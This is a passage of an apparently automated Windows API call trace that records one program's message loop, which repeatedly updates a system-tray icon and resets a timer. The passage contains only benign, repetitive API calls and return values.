wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0111.516] TranslateMessage (lpMsg=0x130f86c) returned 0 [0111.516] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0111.516] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0111.518] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0111.518] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0112.266] TranslateMessage (lpMsg=0x130f204) returned 0 [0112.266] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0112.266] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0112.269] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0112.269] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0113.016] TranslateMessage (lpMsg=0x130f204) returned 0 [0113.016] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0113.017] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0113.021] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0113.021] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0114.514] TranslateMessage (lpMsg=0x130f614) returned 0 [0114.514] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0114.514] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0114.517] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0114.517] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0116.707] TranslateMessage (lpMsg=0x130f86c) returned 0 [0116.709] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0116.709] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0116.714] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0116.715] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0118.236] TranslateMessage (lpMsg=0x130f204) returned 0 [0118.237] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0118.237] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0118.251] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0118.251] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0118.992] TranslateMessage (lpMsg=0x130f204) returned 0 [0118.993] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0118.993] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0118.997] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0118.998] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0120.387] TranslateMessage (lpMsg=0x130f86c) returned 0 [0120.387] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0120.387] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0120.392] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0120.392] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0121.133] TranslateMessage (lpMsg=0x130f614) returned 0 [0121.133] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0121.133] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0121.137] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0121.137] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0121.884] TranslateMessage (lpMsg=0x130f86c) returned 0 [0121.884] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0121.885] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0121.891] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0121.891] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0123.760] TranslateMessage (lpMsg=0x130f86c) returned 0 [0123.760] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0123.760] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0123.763] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0123.763] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0124.510] TranslateMessage (lpMsg=0x130f614) returned 0 [0124.510] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0124.510] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0124.514] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0124.514] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0126.193] TranslateMessage (lpMsg=0x130f204) returned 0 [0126.193] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0126.193] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0126.198] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0126.198] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0126.940] TranslateMessage (lpMsg=0x130f614) returned 0 [0126.940] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0126.940] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0126.944] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0126.944] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0128.526] TranslateMessage (lpMsg=0x130f614) returned 0 [0128.526] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0128.526] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0128.532] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0128.532] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0129.300] TranslateMessage (lpMsg=0x130f204) returned 0 [0129.300] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0129.300] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0129.304] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0129.304] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0130.531] TranslateMessage (lpMsg=0x130f204) returned 0 [0130.531] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0130.532] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0130.536] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0130.536] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0131.274] TranslateMessage (lpMsg=0x130f86c) returned 0 [0131.274] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0131.274] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0131.277] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0131.277] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0132.026] TranslateMessage (lpMsg=0x130f204) returned 0 [0132.026] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0132.026] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0132.032] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0132.032] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0134.169] TranslateMessage (lpMsg=0x130f86c) returned 0 [0134.169] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0134.169] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0134.172] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0134.172] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0135.085] TranslateMessage (lpMsg=0x130f86c) returned 0 [0135.085] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0135.085] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0135.089] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0135.089] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0135.956] TranslateMessage (lpMsg=0x130f86c) returned 0 [0135.956] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0135.956] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0135.959] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0135.959] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0137.886] TranslateMessage (lpMsg=0x130f86c) returned 0 [0137.886] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0137.888] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0137.892] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0137.893] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0138.642] TranslateMessage (lpMsg=0x130f204) returned 0 [0138.642] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0138.642] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0138.645] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0138.646] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0139.392] TranslateMessage (lpMsg=0x130f204) returned 0 [0139.392] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0139.393] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0139.395] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0139.395] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0140.143] TranslateMessage (lpMsg=0x130f86c) returned 0 [0140.143] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0140.143] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0140.147] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0140.147] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0140.893] TranslateMessage (lpMsg=0x130f204) returned 0 [0140.893] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0140.893] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0140.897] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0140.897] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0141.628] TranslateMessage (lpMsg=0x130f204) returned 0 [0141.628] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0141.628] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0141.631] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0141.631] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0142.378] TranslateMessage (lpMsg=0x130f204) returned 0 [0142.378] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0142.378] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0142.383] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0142.383] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0143.128] TranslateMessage (lpMsg=0x130f204) returned 0 [0143.128] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0143.128] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0143.132] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0143.132] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0143.878] TranslateMessage (lpMsg=0x130f204) returned 0 [0143.878] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0143.878] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0143.881] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0143.881] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0144.628] TranslateMessage (lpMsg=0x130f204) returned 0 [0144.628] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0144.628] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0144.631] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0144.632] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0145.378] TranslateMessage (lpMsg=0x130f204) returned 0 [0145.378] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0145.378] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0145.382] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0145.382] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0146.128] TranslateMessage (lpMsg=0x130f204) returned 0 [0146.128] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0146.128] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0146.132] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0146.132] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0146.878] TranslateMessage (lpMsg=0x130f204) returned 0 [0146.878] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0146.878] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0146.881] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0146.881] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0147.627] TranslateMessage (lpMsg=0x130f204) returned 0 [0147.627] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0147.627] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0147.630] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0147.630] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0148.391] TranslateMessage (lpMsg=0x130f204) returned 0 [0148.391] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0148.391] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0148.395] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0148.395] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0149.141] TranslateMessage (lpMsg=0x130f204) returned 0 [0149.141] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0149.141] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0149.145] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0149.145] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0149.891] TranslateMessage (lpMsg=0x130f204) returned 0 [0149.891] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0149.891] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0149.895] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0149.895] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0150.641] TranslateMessage (lpMsg=0x130f204) returned 0 [0150.641] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0150.641] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0150.645] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0150.645] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0151.391] TranslateMessage (lpMsg=0x130f204) returned 0 [0151.391] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0151.391] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0151.394] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0151.395] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0152.142] TranslateMessage (lpMsg=0x130f204) returned 0 [0152.142] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0152.142] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0152.145] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0152.146] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0152.878] TranslateMessage (lpMsg=0x130f204) returned 0 [0152.878] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0152.878] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0152.884] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0152.884] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0153.642] TranslateMessage (lpMsg=0x130f204) returned 0 [0153.642] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0153.642] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0153.645] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0153.645] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0154.401] TranslateMessage (lpMsg=0x130f204) returned 0 [0154.401] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0154.401] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0154.404] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0154.404] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0155.142] TranslateMessage (lpMsg=0x130f204) returned 0 [0155.142] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0155.142] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0155.146] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0155.146] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0155.893] TranslateMessage (lpMsg=0x130f204) returned 0 [0155.893] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0155.893] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0155.903] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0155.903] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0156.632] TranslateMessage (lpMsg=0x130f204) returned 0 [0156.632] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0156.632] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0156.635] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0156.635] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0157.383] TranslateMessage (lpMsg=0x130f204) returned 0 [0157.383] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0157.383] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0157.386] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0157.386] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0158.132] TranslateMessage (lpMsg=0x130f204) returned 0 [0158.132] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0158.132] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0158.135] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0158.135] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0158.882] TranslateMessage (lpMsg=0x130f204) returned 0 [0158.882] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0158.882] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0158.885] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0158.886] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0159.632] TranslateMessage (lpMsg=0x130f204) returned 0 [0159.632] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0159.632] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0159.635] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0159.635] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0160.382] TranslateMessage (lpMsg=0x130f204) returned 0 [0160.382] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0160.382] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0160.385] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0160.385] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0161.132] TranslateMessage (lpMsg=0x130f204) returned 0 [0161.132] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0161.132] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0161.137] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0161.137] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0161.888] TranslateMessage (lpMsg=0x130f204) returned 0 [0161.888] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0161.888] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0161.892] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0161.893] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0162.639] TranslateMessage (lpMsg=0x130f204) returned 